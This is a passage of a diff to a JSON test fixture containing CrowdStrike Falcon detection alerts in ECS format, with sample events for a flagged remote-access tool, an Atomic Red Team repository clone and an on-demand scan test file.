-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976"
-                },
-                "name": "rfusclient.exe",
-                "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe"
-            },
-            "host": {
-                "domain": "OVAC",
-                "name": "DESKTOP1111"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Program",
-                    "Files",
-                    "(x86)\\Remote",
-                    "Utilities",
-                    "-",
-                    "Host\\rfusclient.exe\"",
-                    "/rsession"
-                ],
-                "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession",
-                "end": "2024-06-10T15:18:35.000Z",
-                "entity_id": "43009301133",
-                "executable": "\"C:\\Program",
-                "name": "rfusclient.exe",
-                "parent": {
-                    "args": [
-                        "\"C:\\Program",
-                        "Files",
-                        "(x86)\\Remote",
-                        "Utilities",
-                        "-",
-                        "Host\\rutserv.exe\""
-                    ],
-                    "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"",
-                    "entity_id": "25841449898",
-                    "executable": "\"C:\\Program",
-                    "pid": 25841449898
-                },
-                "pid": 43009301133,
-                "start": "2024-06-10T15:18:35.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
-                    "848a53dc549be0386e5da0f49700c389"
-                ],
-                "hosts": [
-                    "DESKTOP1111"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "USER11111"
-                ]
-            },
-            "rule": {
-                "name": "NGAV"
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "PUP"
-                    ]
-                }
-            },
-            "user": {
-                "name": "USER11111"
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
-                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                    "DataDomains": "Endpoint",
-                    "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-                    "FilesWritten": [
-                        {
-                            "FileName": "test_upx_header_changed",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "test_upx",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "CreateProcessWithPipe.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1055.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "msys-2.0.dll",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "calc.dll",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1055.011_x64.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "EtwpCreateEtwThread.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "CreateProcess.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1036.003.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        }
-                    ],
-                    "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
-                    "GrandparentImageFileName": "sshd",
-                    "GrandparentImageFilePath": "/usr/sbin/sshd",
-                    "HostGroups": [
-                        "44be50f58ccfcfcfcfcfcfcfcffc"
-                    ],
-                    "MACAddress": "02-42-d8-66-fe-03",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "bash",
-                    "ParentImageFilePath": "/usr/bin/bash",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": true,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 272,
-                    "PatternId": "30115",
-                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                    "Severity": 70,
-                    "SeverityName": "High",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\"}}",
-                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "675853ca01ec441df7a015b91a7e1272",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
-                },
-                "name": "git",
-                "path": "/usr/bin/git"
-            },
-            "host": {
-                "name": "linux-vm"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "git",
-                    "clone",
-                    "https://github.com/redcanaryco/atomic-red-team.git"
-                ],
-                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
-                "entity_id": "1719309930613520072",
-                "executable": "git",
-                "name": "git",
-                "parent": {
-                    "args": [
-                        "-bash"
-                    ],
-                    "command_line": "-bash",
-                    "entity_id": "1719308637781199091",
-                    "executable": "-bash",
-                    "pid": 1719308637781199091
-                },
-                "pid": 1719309930613520072,
-                "start": "2024-06-25T10:05:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
-                    "675853ca01ec441df7a015b91a7e1272"
-                ],
-                "hosts": [
-                    "linux-vm"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "azureuser"
-                ]
-            },
-            "rule": {
-                "name": "Known Malware"
-            },
-            "source": {
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious File"
-                    ]
-                }
-            },
-            "user": {
-                "name": "azureuser"
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "CompositeId": "7da61e27e34f4b8394081896af72e2c7",
-                    "DataDomains": "Endpoint",
-                    "HostGroups": [
-                        "2a5927e82d644aa9",
-                        "be74ccf2c2f444cf900"
-                    ],
-                    "MACAddress": "88-44-66-77-11-22",
-                    "Objective": "Falcon Detection Method",
-                    "SensorId": "1122025ec596478d830520000000000",
-                    "Severity": 70,
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ods"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\"}}",
-                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections",
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
-                },
-                "name": "testfile.vmx",
-                "path": "D:\\RECYCLER\\testpath\\testfile.vmx"
-            },
-            "host": {
-                "name": "FRHOSTNAME"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "name": "testfile.vmx"
-            },
-            "related": {
-                "hash": [
-                    "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
-                ],
-                "hosts": [
-                    "FRHOSTNAME"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "rule": {
-                "name": "OnDemandScanfiletest"
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Machine Learning"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Sensor-based ML"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
-                    "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                    "DataDomains": "Endpoint",
-                    "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-                    "FilesWritten": [
-                        {
-                            "FileName": "test_upx_header_changed",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "test_upx",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "CreateProcessWithPipe.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1055.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "msys-2.0.dll",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "calc.dll",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1055.011_x64.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "EtwpCreateEtwThread.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "CreateProcess.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        },
-                        {
-                            "FileName": "T1036.003.exe",
-                            "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
-                            "Timestamp": "2024-06-25T10:06:06.000Z"
-                        }
-                    ],
-                    "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
-                    "GrandparentImageFileName": "sshd",
-                    "GrandparentImageFilePath": "/usr/sbin/sshd",
-                    "HostGroups": [
-                        "44be50f58ccfcfcfcfcfcfcfcffc"
-                    ],
-                    "LocalIPv6": "2a02:cf40::",
-                    "MACAddress": "02-42-d8-66-fe-03",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "bash",
-                    "ParentImageFilePath": "/usr/bin/bash",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": true,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 272,
-                    "PatternId": "30115",
-                    "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                    "Severity": 70,
-                    "SeverityName": "High",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\"}}",
-                "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "675853ca01ec441df7a015b91a7e1272",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
-                },
-                "name": "git",
-                "path": "/usr/bin/git"
-            },
-            "host": {
-                "name": "linux-vm"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "git",
-                    "clone",
-                    "https://github.com/redcanaryco/atomic-red-team.git"
-                ],
-                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
-                "entity_id": "1719309930613520072",
-                "executable": "git",
-                "name": "git",
-                "parent": {
-                    "args": [
-                        "-bash"
-                    ],
-                    "command_line": "-bash",
-                    "entity_id": "1719308637781199091",
-                    "executable": "-bash",
-                    "pid": 1719308637781199091
-                },
-                "pid": 1719309930613520072,
-                "start": "2024-06-25T10:05:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
-                    "675853ca01ec441df7a015b91a7e1272"
-                ],
-                "hosts": [
-                    "linux-vm"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "azureuser"
-                ]
-            },
-            "rule": {
-                "name": "Known Malware"
-            },
-            "source": {
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious File"
-                    ]
-                }
-            },
-            "user": {
-                "name": "azureuser"
-            }
-        },
-        {
-            "@timestamp": "2025-03-21T19:07:20.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106",
-                    "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424",
-                    "DataDomains": "Endpoint",
-                    "Description": "For evaluation only - benign, no action needed.",
-                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
-                    "GrandparentImageFileName": "explorer.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "HostGroups": [
-                        "88888888888888888888888888888888"
-                    ],
-                    "MACAddress": "00-0c-29-46-56-09",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
